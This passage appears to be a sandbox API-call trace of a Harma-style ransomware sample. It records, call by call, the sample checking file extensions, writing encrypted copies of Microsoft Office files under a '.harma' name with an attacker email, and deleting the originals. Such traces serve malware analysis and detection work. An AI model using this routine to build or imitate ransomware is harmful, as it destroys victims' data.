4 [0167.060] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.060] lstrlenW (lpString=".xls") returned 4 [0167.060] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.060] lstrlenW (lpString=".xlsx") returned 5 [0167.060] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0167.060] lstrlenW (lpString=".ppt") returned 4 [0167.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0167.060] lstrlenW (lpString=".zip") returned 4 [0167.061] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.061] lstrlenW (lpString=".rar") returned 4 [0167.061] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.061] lstrlenW (lpString=".bz2") returned 4 [0167.061] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.061] lstrlenW (lpString=".7z") returned 3 [0167.061] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0167.061] lstrlenW (lpString=".dbf") returned 4 [0167.061] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.062] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.062] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0167.063] GetLastError () returned 0x0 [0167.063] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x30a, lpOverlapped=0x0) returned 1 [0167.132] WriteFile (in: hFile=0x344, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x310, lpOverlapped=0x0) returned 1 [0167.133] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.134] WriteFile (in: hFile=0x344, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0167.134] SetEndOfFile (hFile=0x344) returned 1 [0167.569] CloseHandle (hObject=0x344) returned 1 [0167.569] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.569] SetEndOfFile (hFile=0x218) returned 1 [0167.572] CloseHandle (hObject=0x218) returned 1 [0167.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 1 [0167.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.664] lstrlenW (lpString=".doc") returned 4 [0167.664] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.664] lstrlenW (lpString=".docx") returned 5 [0167.664] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0167.664] lstrlenW (lpString=".pdf") returned 4 [0167.664] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.664] lstrlenW (lpString=".xls") returned 4 [0167.664] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.664] lstrlenW (lpString=".xlsx") returned 5 [0167.664] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0167.664] lstrlenW (lpString=".ppt") returned 4 [0167.664] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.665] lstrlenW (lpString=".zip") returned 4 [0167.665] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.665] lstrlenW (lpString=".rar") returned 4 [0167.665] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.665] lstrlenW (lpString=".bz2") returned 4 [0167.665] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.665] lstrlenW (lpString=".7z") returned 3 [0167.665] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.665] lstrlenW (lpString=".dbf") returned 4 [0167.665] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.665] lstrlenW (lpString=".1cd") returned 4 [0167.665] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.665] lstrlenW (lpString=".jpg") returned 4 [0167.665] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.665] lstrlenW (lpString=".doc") returned 4 [0167.665] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.665] lstrlenW (lpString=".docx") returned 5 [0167.665] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0167.665] lstrlenW (lpString=".pdf") returned 4 [0167.665] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.665] lstrlenW (lpString=".xls") returned 4 [0167.665] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.665] lstrlenW (lpString=".xlsx") returned 5 [0167.665] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0167.665] lstrlenW (lpString=".ppt") returned 4 [0167.666] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.666] lstrlenW (lpString=".zip") returned 4 [0167.666] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.666] lstrlenW (lpString=".rar") returned 4 [0167.666] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.666] lstrlenW (lpString=".bz2") returned 4 [0167.666] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.666] lstrlenW (lpString=".7z") returned 3 [0167.666] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.666] lstrlenW (lpString=".dbf") returned 4 [0167.666] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.666] lstrlenW (lpString=".1cd") returned 4 [0167.666] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0167.666] lstrlenW (lpString=".jpg") returned 4 [0167.666] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.666] lstrcmpiW (lpString1=".man", lpString2=".harma") returned 1 [0167.666] lstrlenW (lpString="BCSEvents.man") returned 13 [0167.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.686] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=36177) returned 1 [0167.686] CloseHandle (hObject=0x384) returned 1 [0167.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 0x20 [0167.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0167.767] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.767] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.767] GetLastError () returned 0x0 [0167.767] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x8d51, lpOverlapped=0x0) returned 1 [0167.811] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x8d60, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x8d60, lpOverlapped=0x0) returned 1 [0167.813] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.813] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0167.813] SetEndOfFile (hFile=0x370) returned 1 [0167.813] CloseHandle (hObject=0x370) returned 1 [0167.813] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.814] SetEndOfFile (hFile=0x344) returned 1 [0167.816] CloseHandle (hObject=0x344) returned 1 [0167.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 1 [0167.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.872] lstrlenW (lpString=".doc") returned 4 [0167.872] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0167.872] lstrlenW (lpString=".docx") returned 5 [0167.872] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0167.872] lstrlenW (lpString=".pdf") returned 4 [0167.872] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0167.872] lstrlenW (lpString=".xls") returned 4 [0167.872] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0167.873] lstrlenW (lpString=".xlsx") returned 5 [0167.873] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0167.873] lstrlenW (lpString=".ppt") returned 4 [0167.873] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0167.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.873] lstrlenW (lpString=".zip") returned 4 [0167.873] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0167.873] lstrlenW (lpString=".rar") returned 4 [0167.873] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0167.873] lstrlenW (lpString=".bz2") returned 4 [0167.873] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0167.873] lstrlenW (lpString=".7z") returned 3 [0167.873] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0167.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.873] lstrlenW (lpString=".dbf") returned 4 [0167.873] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0167.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.873] lstrlenW (lpString=".1cd") returned 4 [0167.873] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0167.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.873] lstrlenW (lpString=".jpg") returned 4 [0167.873] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0167.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.873] lstrlenW (lpString=".doc") returned 4 [0167.873] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0167.873] lstrlenW (lpString=".docx") returned 5 [0167.873] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0167.873] lstrlenW (lpString=".pdf") returned 4 [0167.874] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0167.874] lstrlenW (lpString=".xls") returned 4 [0167.874] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0167.874] lstrlenW (lpString=".xlsx") returned 5 [0167.874] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0167.874] lstrlenW (lpString=".ppt") returned 4 [0167.874] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0167.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.874] lstrlenW (lpString=".zip") returned 4 [0167.874] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0167.874] lstrlenW (lpString=".rar") returned 4 [0167.874] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0167.874] lstrlenW (lpString=".bz2") returned 4 [0167.874] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0167.874] lstrlenW (lpString=".7z") returned 3 [0167.874] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0167.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.874] lstrlenW (lpString=".dbf") returned 4 [0167.874] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0167.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.874] lstrlenW (lpString=".1cd") returned 4 [0167.874] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0167.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0167.874] lstrlenW (lpString=".jpg") returned 4 [0167.875] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0167.875] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0167.875] lstrlenW (lpString="MSART11.BDR") returned 11 [0167.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.911] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=30920) returned 1 [0167.911] CloseHandle (hObject=0x330) returned 1 [0167.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 0x20 [0167.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0167.939] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.939] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.940] GetLastError () returned 0x0 [0167.940] ReadFile (in: hFile=0x21c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x78c8, lpOverlapped=0x0) returned 1 [0167.988] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x78d0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x78d0, lpOverlapped=0x0) returned 1 [0167.990] ReadFile (in: hFile=0x21c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.990] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0167.990] SetEndOfFile (hFile=0x3ac) returned 1 [0167.990] CloseHandle (hObject=0x3ac) returned 1 [0167.990] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.990] SetEndOfFile (hFile=0x21c) returned 1 [0167.993] CloseHandle (hObject=0x21c) returned 1 [0167.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 1 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.994] lstrlenW (lpString=".doc") returned 4 [0167.994] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString=".docx") returned 5 [0167.994] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0167.994] lstrlenW (lpString=".pdf") returned 4 [0167.994] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString=".xls") returned 4 [0167.994] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString=".xlsx") returned 5 [0167.994] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0167.994] lstrlenW (lpString=".ppt") returned 4 [0167.994] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.994] lstrlenW (lpString=".zip") returned 4 [0167.994] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString=".rar") returned 4 [0167.994] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString=".bz2") returned 4 [0167.994] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0167.994] lstrlenW (lpString=".7z") returned 3 [0167.994] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.994] lstrlenW (lpString=".dbf") returned 4 [0167.995] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.995] lstrlenW (lpString=".1cd") returned 4 [0167.995] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0167.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.995] lstrlenW (lpString=".jpg") returned 4 [0167.995] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.995] lstrlenW (lpString=".doc") returned 4 [0167.995] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString=".docx") returned 5 [0167.995] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0167.995] lstrlenW (lpString=".pdf") returned 4 [0167.995] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString=".xls") returned 4 [0167.995] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString=".xlsx") returned 5 [0167.995] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0167.995] lstrlenW (lpString=".ppt") returned 4 [0167.995] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.995] lstrlenW (lpString=".zip") returned 4 [0167.995] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString=".rar") returned 4 [0167.995] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString=".bz2") returned 4 [0167.995] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0167.995] lstrlenW (lpString=".7z") returned 3 [0167.995] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0167.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.996] lstrlenW (lpString=".dbf") returned 4 [0167.996] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0167.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.996] lstrlenW (lpString=".1cd") returned 4 [0167.996] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0167.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0167.996] lstrlenW (lpString=".jpg") returned 4 [0167.996] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0167.996] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0167.996] lstrlenW (lpString="MSART15.BDR") returned 11 [0167.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0167.997] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=27412) returned 1 [0167.997] CloseHandle (hObject=0x21c) returned 1 [0167.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20 [0167.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0167.997] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.997] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 